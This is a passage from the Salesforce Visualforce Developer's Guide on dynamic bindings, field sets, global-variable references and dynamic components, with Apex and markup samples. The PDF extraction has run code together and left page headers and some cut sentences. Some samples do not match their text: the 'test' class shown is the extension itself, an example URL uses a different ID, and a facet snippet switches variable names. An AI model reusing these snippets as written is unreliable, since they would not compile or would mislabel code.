<apex:repeat value= "{!availableFields}" var= "field" >
<h2 > <apex:outputText value= "{!$ObjectType['Book__c'].Fields[field].Label}" /> </h2 >
<br/ >
<apex:outputText value= "{!Book__c[field]}" /> <br/ > <br/ >
</apex:repeat >
</apex:pageBlock >
</apex:page >
166
Dynamic Visualforce Bindings Using Dynamic References with Custom Objects and
Packages
7. Since the controller extension is going to be packaged, you’ll need to create a test for the Apex class . Create an Apex class called bookExtensionTest
with this basic code to get you started: public with sharing class bookExtension { private ApexPages.StandardController controller; private Set< String > bookFields = new Set< String >(); public bookExtension (ApexPages.StandardController controller) { this .controller = controller;
Map< String , Schema.SobjectField> fields =
Schema.SobjectType.Book__c.fields.getMap(); for ( String s : fields.keySet()) {
// Only include accessible fields if (fields.get(s).getDescribe().isAccessible() && fields.get(s).getDescribe().isCustom()) { bookFields.add(s);
}
} controller.addFields( new List< String >(bookFields));
} public List< String > availableFields { get { controller.reset(); controller.addFields( new List< String >(bookFields)); return new List< String >(bookFields);
}
}
}
Note: This Apex test is only meant to be a sample. When creating tests that are included into packages, validate all behavior, including positive and negative results.
8. Create a package called
bookBundle
, and add the custom object, the Visualforce page, and the bookExtensionTest
Apex class. The other referenced elements are included automatically.
9. Install the
bookBundle
package into a subscriber organization.
10. After the package is installed, from the object management settings for books, add a new field called
Rating
.
11. Create a new Book object. Again, the values for the record don’t actually matter.
12. Navigate to the booksView
page with the package namespace and book ID appended to the URL. For example, if GBOOK is the namespace, and a00D0000008e7t4 is the book ID, the resulting URL should be https://Salesforce_instance/apex/GBOOK__booksView?id=001D000000CDt53
.
When the page is viewed from the subscribing organization, it should include all the packaged Book fields, plus the newly created Rating field. Different users and organizations can continue to add whatever fields they want, and the dynamic Visualforce page will adapt and show as appropriate.
SEE ALSO:
Salesforce Help: Find Object Management Settings
167
Dynamic Visualforce Bindings Referencing Apex Maps and Lists
Referencing Apex Maps and Lists
Visualforce pages that use dynamic bindings can reference the Apex
Map
and
List
data types in their markup.
For example, if an Apex
List
is defined as follows: public List< String > people { get { return new List< String >{ 'Winston' , 'Julia' , 'Brien' };
} set;
} public List< Integer > iter { get { return new List< Integer >{0, 1, 2};
} set;
}
It can be accessed in a Visualforce page like this:
<apex:repeat value= "{!iter}" var= "pos" >
<apex:outputText value= "{!people[pos]}" /><br/>
</apex:repeat>
Similarly, if you have the following Apex
Map
: public Map <String,String > directors { get { return new Map <String, String> {
'Kieslowski' => 'Poland' ,
'del Toro' => 'Mexico' ,
'Gondry' => 'France'
};
} set;
}
Your Visualforce page can show the values like this:
<apex:repeat value= "{!directors}" var= "dirKey" >
<apex:outputText value= "{!dirKey}" /> --
<apex:outputText value= "{!directors[dirKey]}" /> <br/ >
</apex:repeat >
Use dynamic references to lists and maps in an
<apex:inputText >
tag to create forms using data that isn’t in your organization’s custom objects. Working with a single map can be much simpler than creating a series of instance variables in an Apex controller or creating a custom object just for the form data.
Here’s a Visualforce page that uses a map to hold form data for processing by a custom controller:
<apex:page controller= "ListsMapsController" >
<apex:outputPanel id= "box" layout= "block" >
<apex:pageMessages/ >
<apex:form >
168
Dynamic Visualforce Bindings Referencing Apex Maps and Lists
<apex:repeat value= "{!inputFields}" var= "fieldKey" >
<apex:outputText value= "{!fieldKey}" />:
<apex:inputText value= "{!inputFields[fieldKey]}" /> <br/ >
</apex:repeat >
<apex:commandButton action= "{!submitFieldData}" value= "Submit" id= "button" rerender= "box" />
</apex:form >
</apex:outputPanel >
</apex:page >
And here’s a simple controller that works with the form: public class ListsMapsController { public Map< String , String > inputFields { get; set; } public ListsMapsController() { inputFields = new Map< String , String > {
'firstName' => 'Jonny' , 'lastName' => 'Appleseed' , 'age' => '42' };
} public PageReference submitFieldData() { doSomethingInterestingWithInput(); return null ;
} public void doSomethingInterestingWithInput() { inputFields.put( 'age' , ( Integer .valueOf(inputFields.get( 'age' )) + 10).format());
}
}
A
Map
can contain references to sObjects or sObject fields. To update those items, reference a field name in the input field: public with sharing class MapAccCont {
Map< Integer , Account> mapToAccount = new Map< Integer , Account>(); public MapAccCont() {
Integer i = 0; for (Account a : [SELECT Id, Name FROM Account LIMIT 10]) { mapToAccount.put(i, a); i++;
}
} public Map< Integer , Account> getMapToAccount() { return mapToAccount;
}
}
<apex:page controller= "MapAccCont" >
<apex:form >
<apex:repeat value= "{!mapToAccount}" var= "accNum" >
169
Dynamic Visualforce Bindings Working with Field Sets
<apex:inputField value= "{!mapToAccount[accNum].Name}" />
</apex:repeat >
</apex:form >
</apex:page >
Unresolved Dynamic References
Keep in mind the following issues that can arise at run time if a dynamic reference doesn’t resolve:
•
If there isn’t a value mapped to a particular key, the Visualforce page returns an error message. For example, with this controller: public class ToolController { public Map< String , String > toolMap { get; set; } public String myKey { get; set; } public ToolController() {
Map< String , String > toolsMap = new Map< String , String >(); toolsMap.put( 'Stapler' , 'Keeps things organized' );
}
}
This page causes an error at run time:
<apex:page controller= "ToolController" >
<!-- This renders an error on the page -->
<apex:outputText value= "{!toolMap['Paperclip']}" />
</apex:page >
•
If the key is null
, the Visualforce page renders an empty string. For example, using the same controller as above, this page shows an empty space:
<apex:page controller= "ToolController" >
<!-- This renders a blank space -->
<apex:outputText value= "{!toolMap[null]}" />
</apex:page >
Working with Field Sets
You can use dynamic bindings to display field sets on your Visualforce pages. A field set is a grouping of fields. For example, you could have a field set that contains fields describing a user's first name, middle name, last name, and business title. If the page is added to a managed package, administrators can add, remove, or reorder fields in a field set to modify the fields presented on the Visualforce page without modifying any code. Field sets are available for Visualforce pages on API version 21.0 or above. You can have up to 50 field sets referenced on a single page.
170
Dynamic Visualforce Bindings Working with Field Sets
Working with Field Sets Using Visualforce
Field sets can be directly referenced in Visualforce by combining the
$ObjectType
global variable with the keyword
FieldSets
.
For example, if your Contact object has a field set called properNames
that displays three fields, your Visualforce page can reference the field data through the following iteration:
<apex:page standardController= "Contact" >
<apex:repeat value= "{!$ObjectType.Contact.FieldSets.properNames}" var= "f" >
<apex:outputText value= "{!Contact[f]}" /> <br/ >
</apex:repeat >
</apex:page >
You can also choose to render additional information, such as field labels and data types, through the following special properties on the fields in the field set:
Property Name
DBRequired
FieldPath
Label
Required
Type
Description
Indicates whether the field is required for the object
Lists the field’s spanning info
The UI label for the field
Indicates whether the field is required in the field set
The data type for the field
For example, you can access the labels and data types for the fields in properNames
like this:
<apex:page standardController= "Contact" >
<apex:pageBlock title= "Fields in Proper Names" >
<apex:pageBlockTable value= "{!$ObjectType.Contact.FieldSets.properNames}" var= "f" >
<apex:column value= "{!f}" >
<apex:facet name= "header" >Name </apex:facet >
</apex:column >
<apex:column value= "{!f.Label}" >
<apex:facet name= "header" >Label </apex:facet >
</apex:column >
<apex:column value= "{!f.Type}" >
<apex:facet name= "header" >Data Type </apex:facet >
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
If this Visualforce page is added to a managed package and distributed, subscribers can edit the properNames
field set. The logic for generating the Visualforce page remains the same, while the presentation differs based on each subscriber’s implementation. To reference a field set from a managed package, you must prepend the field set with the organization’s namespace. Using the markup above, if properNames
comes from an organization called Spectre, the field set is referenced like this:
{!$ObjectType.Contact.FieldSets.Spectre__properNames}
171
Dynamic Visualforce Bindings Working with Field Sets
Working with Field Sets Using Apex
Fields in a field set are automatically loaded when your Visualforce page uses a standard controller. When using a custom controller, you need to add the required fields to the SOQL query for the page. Apex provides two Schema objects that allow you to discover field sets and the fields they contain,
Schema.FieldSet
and
Schema.FieldSetMember
. For information about these two system classes, see “FieldSet Class” in the
Force.com Apex Code Developer's Guide
.
Sample: Displaying a Field Set on a Visualforce Page
This sample uses
Schema.FieldSet
and
Schema.FieldSetMember
methods to dynamically get all the fields in the
Dimensions field set for the Merchandise custom object. The list of fields is then used to construct a SOQL query that ensures those fields are available for display. The Visualforce page uses the
MerchandiseDetails
class as its controller.
public class MerchandiseDetails { public Merchandise__c merch { get; set; } public MerchandiseDetails() { this .merch = getMerchandise();
} public List<Schema.FieldSetMember> getFields() { return SObjectType.Merchandise__c.FieldSets.Dimensions.getFields();
} private Merchandise__c getMerchandise() {
String query = 'SELECT ' ; for (Schema.FieldSetMember f : this .getFields()) { query += f.getFieldPath() + ', ' ;
} query += 'Id, Name FROM Merchandise__c LIMIT 1' ; return Database.query(query);
}
}
The Visualforce page using the above controller is simple:
<apex:page controller= "MerchandiseDetails" >
<apex:form >
<apex:pageBlock title= "Product Details" >
<apex:pageBlockSection title= "Product" >
<apex:inputField value= "{!merch.Name}" />
</apex:pageBlockSection >
<apex:pageBlockSection title= "Dimensions" >
<apex:repeat value= "{!fields}" var= "f" >
<apex:inputField value= "{!merch[f.fieldPath]}" required= "{!OR(f.required, f.dbrequired)}" />
</apex:repeat >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
172
Dynamic Visualforce Bindings Dynamic References to Global Variables
One thing to note about the above markup is the expression used to determine if a field on the form should be indicated as being a required field. A field in a field set can be required by either the field set definition, or the field’s own definition. The expression handles both cases.
Field Set Considerations
Fields added to a field set can be in one of two categories:
•
If a field is marked as
Available for the Field Set
, it exists in the field set, but the developer hasn’t presented it on the packaged Visualforce page. Administrators can display the field after the field set is deployed by moving it from the
Available column to the
In the Field Set
column.
•
If a field is marked as
In the Field Set
, the developer has rendered the field on the packaged Visualforce page by default.
Administrators can remove the field from the page after the field set is deployed by removing it from the
In the Field Set column.
The order in which a developer lists displayed fields determines their order of appearance on a Visualforce page.
As a package developer, keep the following best practices in mind:
•
Subscribers with installed field sets can add fields that your page didn’t account for. There is no way to conditionally omit some fields from a field set iteration, so make sure that any field rendered through your field set works for all field types.
•
We recommend that you add only non-essential fields to your field set. This ensures that even if a subscriber removes all fields in the field set, Visualforce pages that use that field set still function.
Note: Field sets are available for Visualforce pages on API version 21.0 or above.
SEE ALSO:
Object Schema Details Available Using $ObjectType
Dynamic References to Global Variables
Visualforce pages can use dynamic bindings to reference global variables in their markup. Global variables allow you to access information
Variables, Functions, and Expression Operators appendix .
Referencing a global variable is the same as referencing sObjects and Apex classes—you use the same basic pattern, where
reference
is a global variable:
reference
[
expression
]
SEE ALSO:
Dynamic References to Static Resources Using
$Resource
Dynamic references to static resources can be very useful for providing support for themes or other visual preferences.
173
Dynamic Visualforce Bindings Dynamic References to Static Resources Using $Resource
To reference a static resource using the
$Resource
global variable, provide the name of the static resource in an expression:
{!
$Resource[StaticResourceName] }
. For example, if you have a getCustomLogo method that returns the name of an image uploaded as a static resource, reference it like this:
<apex:image value= "{!$Resource[customLogo]}" />
.
This example illustrates how to switch between two different visual themes. First, create a controller extension named
ThemeHandler with the following code: public class ThemeHandler { public ThemeHandler(ApexPages.StandardController controller) { } public static Set< String > getAvailableThemes() {
// You must have at least one uploaded static resource
// or this code will fail. List their names here.
return ( new Set< String > { 'Theme_Color' , 'Theme_BW' });
} public static List<SelectOption> getThemeOptions() {
List<SelectOption> themeOptions = new List<SelectOption>(); for ( String themeName : getAvailableThemes()) { themeOptions.add( new SelectOption(themeName, themeName));
} return themeOptions;
} public String selectedTheme { get { if ( null == selectedTheme) {
// Ensure we always have a theme
List< String > themeList = new List< String >(); themeList.addAll(getAvailableThemes()); selectedTheme = themeList[0];
} return selectedTheme;
} set { if (getAvailableThemes().contains(value)) { selectedTheme = value;
}
}
}
}
Notes about this class:
•
It has an empty constructor, because there’s no default constructor for controller extensions.
•
Add the name of your uploaded static resource files theme to the getAvailableThemes
method. Using Static Resources
on page 145 provides details of how to create and upload static resources, in particular, zipped archives containing multiple files.
•
The last two methods provide the list of themes and the selected theme for use in the Visualforce form components.
Now create a Visualforce page that uses this controller extension:
<apex:page standardController= "Account" extensions= "ThemeHandler" showHeader= "false" >
<apex:form >
174
Dynamic Visualforce Bindings Dynamic References to Static Resources Using $Resource
<apex:pageBlock id= "ThemePreview" >
<apex:stylesheet value= "{!URLFOR($Resource[selectedTheme], 'styles/styles.css')}" />
<h1 >Theme Viewer </h1 >
<p >You can select a theme to use while browsing this site.
</p >
<apex:pageBlockSection >
<apex:outputLabel value= "Select Theme: " for= "themesList" />
<apex:selectList id= "themesList" size= "1" value= "{!selectedTheme}" >
<apex:actionSupport event= "onchange" rerender= "ThemePreview" />
<apex:selectOptions value= "{!themeOptions}" />
</apex:selectList >
</apex:pageBlockSection >
<apex:pageBlockSection >
<div class= "custom" style= "padding: 1em;" > <!-- Theme CSS hook -->
<h2 >This is a Sub-Heading </h2 >
<p >This is standard body copy. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque neque arcu, pellentesque in vehicula vitae, dictum id dolor. Cras viverra consequat neque eu gravida. Morbi hendrerit lobortis mauris, id sollicitudin dui rhoncus nec.
</p >
<p > <apex:image value= "{!URLFOR($Resource[selectedTheme], 'images/logo.png')}" /> </p >
</div > <!-- End of theme CSS hook -->
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Note the following about this markup:
•
The page uses the Account standard controller, but has nothing to do with accounts. You have to specify a controller to use a controller extension.
•
The first
<apex:pageBlockSection >
contains the theme selection widget. Using
<apex:actionSupport >
, changes to the selection menu re-render the whole
<apex:pageBlock >
. This is so that the
<apex:stylesheet >
tag gets the updated selectedTheme
for its dynamic reference.
•
The theme preference selected here is only preserved in the view state for the controller, but you could easily save it to a custom setting instead, and make it permanent.
•
The zip files that contain the graphics and style assets for each theme need to have a consistent structure and content. That is. there needs to be an images/logo.png
in each theme zip file, and so on.
There are only two dynamic references to the
$Resource
global variable on this page, but they show how to access both stylesheet and graphic assets. You could use a dynamic reference in every
<apex:image >
tag on a page and completely change the look and feel.
$Label
and
$Setup
are similar to
$Resource
, in that they allow you to access text values or saved settings that your organization administrator or users themselves can set in Salesforce:
175
Dynamic Visualforce Bindings Dynamic References to Action Methods Using $Action
•
Custom labels allow you to create text messages that can be consistently used throughout your application. Label text can also be translated and automatically displayed in a user’s default language. To learn more about how to use custom labels see Custom
Labels .
•
Custom settings allow you to create settings for your application, which can be updated by administrators or by users themselves.
They can also be hierarchical, so that user-level settings override role- or organization-level settings. To learn more about how to use custom settings see Custom Settings .
SEE ALSO:
Dynamic References to Action Methods Using
$Action
The
$Action
global variable allows you to dynamically reference valid actions on an object type, or on a specific record. The most likely way to make use of this is to create a URL to perform that action.
For example, you can use the expression
{!URLFOR($Action[objectName].New)}
in an
<apex:outputLink >
, with a controller method getObjectName()
that provides the name of the sObject.
Here’s an example that does exactly that. The controller extension queries the system to learn the names of all the custom objects accessible to the user, and presents a list of them, along with links to create a new record. First, create a controller extension named
DynamicActionsHandler
: public with sharing class DynamicActionsHandler { public List<CustomObjectDetails> customObjectDetails { get; private set; } public DynamicActionsHandler(ApexPages.StandardController cont) { this .loadCustomObjects();
} public void loadCustomObjects() {
List<CustomObjectDetails> cObjects = new List<CustomObjectDetails>();
// Schema.getGlobalDescribe() returns lightweight tokens with minimal metadata
Map< String , Schema.SObjectType> gd = Schema.getGlobalDescribe(); for ( String obj : gd.keySet()) { if (obj.endsWith( '__c' )) {
// Get the full metadata details only for custom items
Schema.DescribeSObjectResult objD = gd.get(obj).getDescribe(); if ( ! objD.isCustomSetting()) {
// Save details for custom objects, not custom settings
CustomObjectDetails objDetails = new CustomObjectDetails( obj, objD.getLabel(), objD.isCreateable()); cObjects.add(objDetails);
}
}
} cObjects.sort(); this .customObjectDetails = cObjects;
}
176
Dynamic Visualforce Bindings Dynamic References to Action Methods Using $Action public class CustomObjectDetails implements Comparable { public String nameStr { get; set; } public String labelStr { get; set; } public Boolean creatable { get; set; } public CustomObjectDetails( String aName, String aLabel, Boolean isCreatable) { this .nameStr = aName; this .labelStr = aLabel; this .creatable = isCreatable;
} public Integer compareTo( Object objToCompare) {
CustomObjectDetails cod = (CustomObjectDetails)objToCompare; return ( this .nameStr.compareTo(cod.nameStr));
}
}
}
There are a few things of interest in this extension:
•
The loadCustomObjects
method uses Apex schema methods to get metadata information about available custom objects.
The
Schema.getGlobalDescribe
method is a lightweight operation to get a small set of metadata about available objects and custom settings. The method scans the collection looking for items with names that end in “__c”, which indicates they are custom objects or settings. These items are more deeply inspected using getDescribe
, and selected metadata is saved for the custom objects.
•
Using if (obj.endsWith( '__c' ))
to test whether an item is a custom object or not may feel like a “hack”, but the alternative is to call obj.getDescribe().isCustom()
, which is expensive, and there is a governor limit on the number of calls to getDescribe
. Scanning for the “__c” string as a first pass on a potentially long list of objects is more efficient.
•
This metadata is saved in an inner class,
CustomObjectDetails
, which functions as a simple structured container for the fields to be saved.
•
CustomObjectDetails
implements the Comparable interface, which makes it possible to sort a list of custom objects details by an attribute of each object, in this case, the custom object’s name.
Now create a Visualforce page with the following markup:
<apex:page standardController= "Account" extensions= "DynamicActionsHandler" >
<br/ >
<apex:dataTable value= "{!customObjectDetails}" var= "coDetails" >
<apex:column >
<apex:facet name= "header" >Custom Object </apex:facet >
<apex:outputText value= "{!coDetails.labelStr}" />
</apex:column >
<apex:column >
<apex:facet name= "header" >Actions </apex:facet >
<apex:outputLink value= "{!URLFOR($Action[coDetails.nameStr].New)}" rendered= "{!coDetails.creatable}" >[Create] </apex:outputLink > <br/ >
<apex:outputLink value= "{!URLFOR($Action[coDetails.nameStr].List,
$ObjectType[coDetails.nameStr].keyPrefix)} ">[List]</apex:outputLink>
</apex:column >
</apex:dataTable >
</apex:page >
177
Dynamic Visualforce Bindings Dynamic References to Schema Details Using $ObjectType
On a page that hasn’t been assigned a specific record, the only two useful actions available are
New
and
List
. On a page that queries for a record, the
$Action
global variable provides methods such as
View
,
Clone
,
Edit
, and
Delete
. Certain standard objects have additional actions that make sense for their data types.
SEE ALSO:
Valid Values for the $Action Global Variable
Dynamic References to Schema Details Using
$ObjectType
The
$ObjectType
global variable provides access to a variety of schema information about the objects in your organization. Use it to reference names, labels, and data types of fields on an object, for example.
$ObjectType
is a “deep” global variable, and offers the opportunity to use it in a “double dynamic” reference, like so:
$ObjectType[sObjectName].fields[fieldName].Type
Here’s an example that uses dynamic globals to provide a general object viewer. First, create a new controller (not extension) named
DynamicObjectHandler
: public class DynamicObjectHandler {
// This class acts as a controller for the DynamicObjectViewer component private String objType; private List< String > accessibleFields; public sObject obj { get; set { setObjectType(value); discoverAccessibleFields(value); obj = reloadObjectWithAllFieldData();
}
}
// The sObject type as a string public String getObjectType() { return ( this .objType);
} public String setObjectType(sObject newObj) { this .objType = newObj.getSObjectType().getDescribe().getName(); return ( this .objType);
}
// List of accessible fields on the sObject public List< String > getAccessibleFields() { return ( this .accessibleFields);
} private void discoverAccessibleFields(sObject newObj) { this .accessibleFields = new List< String >();
Map< String , Schema.SobjectField> fields =
178
Dynamic Visualforce Bindings Dynamic References to Schema Details Using $ObjectType newObj.getSObjectType().getDescribe().fields.getMap(); for ( String s : fields.keySet()) { if ((s != 'Name' ) && (fields.get(s).getDescribe().isAccessible())) { this .accessibleFields.add(s);
}
}
} private sObject reloadObjectWithAllFieldData() {
String qid = ApexPages.currentPage().getParameters().get( 'id' );
String theQuery = 'SELECT ' + joinList(getAccessibleFields(), ', ' ) +
' FROM ' + getObjectType() +
' WHERE Id = :qid' ; return (Database.query(theQuery));
}
// Join an Apex List of fields into a SELECT fields list string private static String joinList(List< String > theList, String separator) { if (theList == null ) { return null ; } if (separator == null ) { separator = '' ; }
String joined = '' ;
Boolean firstItem = true ; for ( String item : theList) { if ( null != item ) { if (firstItem){ firstItem = false ; } else { joined += separator; } joined += item ;
}
} return joined;
}
}
There’s a number of things that are worth noting in this controller:
•
Visualforce components can’t use controller extensions, so this class is written as a controller instead. There is no constructor defined, so the class uses the default constructor.
•
To collect metadata for an object, the controller must know the object. Visualforce constructors can’t take arguments so there is no way to know what the object of interest is at the time of instantiation. Instead, the metadata discovery is triggered by the setting of the public property obj
.
•
Several of the methods in this class use system schema discovery methods, in slightly different ways than prior examples.
The next piece is a Visualforce component that displays schema information about an object, as well as the specific values of the record that is queried. Create a new Visualforce component named
DynamicObjectViewer
with the following code:
<apex:component controller= "DynamicObjectHandler" >
<apex:attribute name= "rec" type= "sObject" required= "true" description= "The object to be displayed." assignTo= "{!obj}" />
<apex:form >
<apex:pageBlock title= "{!objectType}" >
<apex:pageBlockSection title= "Fields" columns= "1" >
<apex:dataTable value= "{!accessibleFields}" var= "f" >
179
Dynamic Visualforce Bindings Dynamic References to Schema Details Using $ObjectType
<apex:column >
<apex:facet name= "header" >Label </apex:facet >
<apex:outputText value= "{!$ObjectType[objectType].fields[f].Label}" />
</apex:column >
<apex:column >
<apex:facet name= "header" >API Name </apex:facet >
<apex:outputText value= "{!$ObjectType[objectType].fields[f].Name}" />
</apex:column >
<apex:column >
<apex:facet name= "header" >Type </apex:facet >
<apex:outputText value= "{!$ObjectType[objectType].fields[f].Type}" />
</apex:column >
<apex:column >
<apex:facet name= "header" >Value </apex:facet >
<apex:outputText value= "{!obj[f]}" />
</apex:column >
</apex:dataTable >
</apex:pageBlockSection >
<apex:pageBlockSection columns= "4" >
<apex:commandButton value= "View" action= "{!URLFOR($Action[objectType].View, obj.Id)}" />
<apex:commandButton value= "Edit" action= "{!URLFOR($Action[objectType].Edit, obj.Id)}" />
<apex:commandButton value= "Clone" action= "{!URLFOR($Action[objectType].Clone, obj.Id)}" />
<apex:commandButton value= "Delete" action= "{!URLFOR($Action[objectType].Delete, obj.Id)}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:component >
Notice the following:
•
Any page that uses this component must look up a record. To do so, use the standard controller for that object, and specify the
Id of the record in the URL. For example, https://<Salesforce_instance>/apex/DynamicContactPage?id=003D000000Q5GHE
.
•
The selected record is immediately passed into the component’s obj
attribute. This parameter is used for all of the object metadata discovery.
•
The three double dynamic references, which start with
$ObjectType[objectType].fields[f]
, display the metadata for each field, while the normal dynamic reference displays the actual value of the field.
•
For the data value, the value is
{!obj[f]}
, using a getter method in the controller, not the perhaps more natural
{!rec[f]}
, which is the parameter to the component. The reason is simple, the obj
attribute has been updated to load data for all of the fields, while rec
has remained unchanged from what was loaded by the standard controller, and so only has the
Id
field loaded.
180
Dynamic Visualforce Bindings Dynamic References to Schema Details Using $ObjectType
Finally, the new component can be used to create any number of simple Visualforce pages that use the component to display a record detail and schema info page, such as these two pages:
<apex:page standardController= "Account" >
<c:DynamicObjectViewer rec= "{!account}" />
</apex:page >
<apex:page standardController= "Contact" >
<c:DynamicObjectViewer rec= "{!contact}" />
</apex:page >
SEE ALSO:
Field Schema Details Available Using $ObjectType
Object Schema Details Available Using $ObjectType
181
CHAPTER 13 Dynamic Visualforce Components
Visualforce is primarily intended to be a static, markup-driven language that lets developers create a user interface that matches the
Salesforce look-and-feel. However, there are occasions when it’s necessary to programmatically create a page. Usually, this is to achieve complicated user interface behavior that’s difficult or impossible with standard markup.
Dynamic Visualforce components offer a way to create Visualforce pages that vary the content or arrangement of the component tree according to a variety of states, such as a user’s permissions or actions, user or organization preferences, the data being displayed, and so on. Rather than using standard markup, dynamic Visualforce components are designed in Apex.
A dynamic Visualforce component is defined in Apex like this:
Component.
Component_namespace
.
Component_name
For example,
<apex:dataTable >
becomes
Component.Apex.DataTable
.
Note:
Visualforce components that are dynamically represented in Apex behave like regular classes. Every attribute that exists on a standard
Visualforce component is available as a property in the corresponding Apex representation with get and set methods. For example, you could manipulate the value
attribute on an
<apex:outputText >
component as follows:
Component.Apex.OutputText outText = new Component.Apex.OutputText(); outText.value = 'Some dynamic output text.' ;
Consider using dynamic Visualforce components in the following scenarios:
•
You can use dynamic Visualforce components inside complex control logic to assemble components in combinations that would be challenging or impossible to create using equivalent standard Visualforce. For example, with standard Visualforce components, you typically control the visibility of components using the rendered
attribute with the global
IF()
formula function. By writing your control logic in Apex, you can choose to display components dynamically with a more natural mechanism.
•
If you know that you’ll be iterating over objects with certain fields, but not specifically which objects, dynamic Visualforce components
Warning: Dynamic Visualforce components are not intended to be the primary way to create new Visualforce pages in your organization. Existing Visualforce pages shouldn’t be rewritten in a dynamic manner and, for most use cases, standard Visualforce components are acceptable and preferred. You should only use dynamic Visualforce components when the page must adapt itself to user state or actions in ways that can’t be elegantly coded into static markup.
Dynamic Components Restrictions
Not every feature of Visualforce makes sense in a dynamic context, so some components aren’t available dynamically.
•
The following standard Visualforce components don’t have corresponding dynamic representations in Apex:
–
<apex:attribute >
182
Dynamic Visualforce Components Creating and Displaying Dynamic Components
–
<apex:component >
–
<apex:componentBody >
–
<apex:composition >
–
<apex:define >
–
<apex:dynamicComponent >
–
<apex:include >
–
<apex:insert >
–
<apex:param >
–
<apex:variable >
•
If a dynamic Visualforce component refers to a specific sObject field, and that field is later deleted, the Apex code for that field reference will still compile, but the page will fail when it is viewed. Also, you can create references to global variables such as
$Setup or
$Label
, and then delete the referenced item, with similar results. Please verify such pages continue to work as expected.
•
Dynamic Visualforce pages and expressions check attribute types more strictly than static pages.
•
You can’t set
“pass-through” HTML attributes on dynamic components.
Creating and Displaying Dynamic Components
Note:
The examples in this section are deliberately simple for instructional purposes. For a more complete example of when you
might benefit from dynamic Visualforce components, see Example Using a Related List on page 188.
There are two parts to embedding dynamic Visualforce components on your page:
1. Adding an
<apex:dynamicComponent >
tag somewhere on your page. This tag acts as a placeholder for your dynamic component.
2. Developing a dynamic Visualforce component in your controller or controller extension.
The
<apex:dynamicComponent >
tag has one required attribute— componentValue
—that accepts the name of an Apex method that returns a dynamic component. For example, if you wanted to dynamically generate the title of a section header differently if the deadline for a submitting form has passed, you could use the following markup and controller code:
<apex:page standardController= "Contact" extensions= "DynamicComponentExample" >
<apex:dynamicComponent componentValue= "{!headerWithDueDateCheck}" />
<apex:form >
<apex:inputField value= "{!Contact.LastName}" />
<apex:commandButton value= "Save" action= "{!save}" />
</apex:form >
</apex:page > public class DynamicComponentExample { public DynamicComponentExample(ApexPages.StandardController con) { } public Component.Apex.SectionHeader getHeaderWithDueDateCheck() { date dueDate = date.newInstance(2011, 7, 4); boolean overdue = date.today().daysBetween(dueDate) < 0;
Component.Apex.SectionHeader sectionHeader = new Component.Apex.SectionHeader(); if (overdue) { sectionHeader.title = 'This Form Was Due On ' + dueDate.format() + '!' ; return sectionHeader;
} else {
183
Dynamic Visualforce Components Creating and Displaying Dynamic Components sectionHeader.title = 'Form Submission' ; return sectionHeader;
}
}
}
You can have multiple
<apex:dynamicComponent >
components on a single page.
Each dynamic component has access to a common set of methods and properties. You can review this list in the Apex Developer's Guide in the chapter titled “Component Class”.
Dynamic Custom Components
Using custom components dynamically works exactly the same as the standard Visualforce components. Just change the namespace to that of the custom component. Your custom components are in the c
namespace, so you can create one dynamically like this:
Component.c.MyCustomComponent myDy = new Component.c.MyCustomComponent();
As a convenience for your own components, you can omit the namespace, like so:
Component.MyCustomComponent myDy = new Component.MyCustomComponent();
If you are using components provided by a third party in a package, use the namespace of the package provider:
Component.TheirName.UsefulComponent usefulC = new Component.TheirName.UsefulComponent();
Passing Attributes through the Constructor
Instead of setting component attributes via their properties, you can simply pass in a list of one or more attributes through the constructor:
Component.Apex.DataList dynDataList = new Component.Apex.DataList(id= 'myDataList' , rendered= true );
If an attribute isn’t defined in the constructor, the component's default values are used for that attribute.
There are two components that must have an attribute defined in the constructor, rather than through a property:
•
Component.Apex.Detail
must have showChatter= true
passed to its constructor if you want to display the Chatter information and controls for a record. Otherwise, this attribute is always false.
•
Component.Apex.SelectList
must have multiSelect= true
passed to its constructor if you want the user to be able to select more than one option at a time. Otherwise, this value is always false
.
These values are Booleans, not Strings; you don’t need to enclose them in single quote marks.
Warning: You can’t pass attributes through the class constructor if the attribute name matches an Apex keyword. For example,
Component.Apex.RelatedList
can’t pass list
through the constructor, because List is a reserved keyword. Similarly,
Component.Apex.OutputLabel
can’t define the for
attribute in the constructor, because it’s also a keyword.
Defining Expressions and Arbitrary HTML
You can add expression language statements with the expressions
property. Append expressions
before a property name to pass in an expression statement. As in static markup, expressions must be wrapped with the
{! }
syntax. Here’s an example:
Component.Apex.Detail detail = new Component.Apex.Detail(); detail.expressions.subject = '{!Account.ownerId}' ;
184
Dynamic Visualforce Components Creating and Displaying Dynamic Components detail.relatedList = false ; detail.title = false ;
Valid expressions include those that refer to fields on standard and custom objects. Global variables and functions are also available, as demonstrated in this example:
Component.Apex.OutputText head1 = new Component.Apex.OutputText(); head1.expressions.value =
'{!IF(CONTAINS($User.FirstName, "John"), "Hello John", "Hey, you!")}' ;
Passing in values through expressions is valid only for attributes that support them. Using
{! }
outside of the expressions property will be interpreted literally, not as an expression.
If you want to include plain HTML, you can do so by setting the escape
property on
Component.Apex.OutputText
to false
:
Component.Apex.OutputText head1 = new Component.Apex.OutputText(); head1.escape = false ; head1.value = '<h1>This header contains HTML</h1>' ;
Defining Facets
Similar to the way expressions are defined, facets act as a special property available to dynamic components. Here’s an example:
Component.Apex.DataTable myTable = new Component.Apex.DataTable(var= 'item' ); myDT.expressions.value = '{!items}' ;
ApexPages.Component.OutputText header = new Component.Apex.OutputText(value= 'This is My Header' ); myDT.facets.header = header;
For more information on facets, see Best Practices for Using Component Facets on page 343.
Defining Child Nodes
You can add child nodes to a dynamic Visualforce component using the childComponents
property. The childComponents property acts as a reference to a List of
Component.Apex
objects.
Here’s an example of how you can use childComponents
to construct a
<apex:form >
with child input nodes: public Component.Apex.PageBlock getDynamicForm() {
Component.Apex.PageBlock dynPageBlock = new Component.Apex.PageBlock();
// Create an input field for Account Name
Component.Apex.InputField theNameField = new Component.Apex.InputField(); theNameField.expressions.value = '{!Account.Name}' ; theNameField.id = 'theName' ;
Component.Apex.OutputLabel theNameLabel = new Component.Apex.OutputLabel(); theNameLabel.value = 'Rename Account?' ; theNameLabel.
for = 'theName' ;
// Create an input field for Account Number
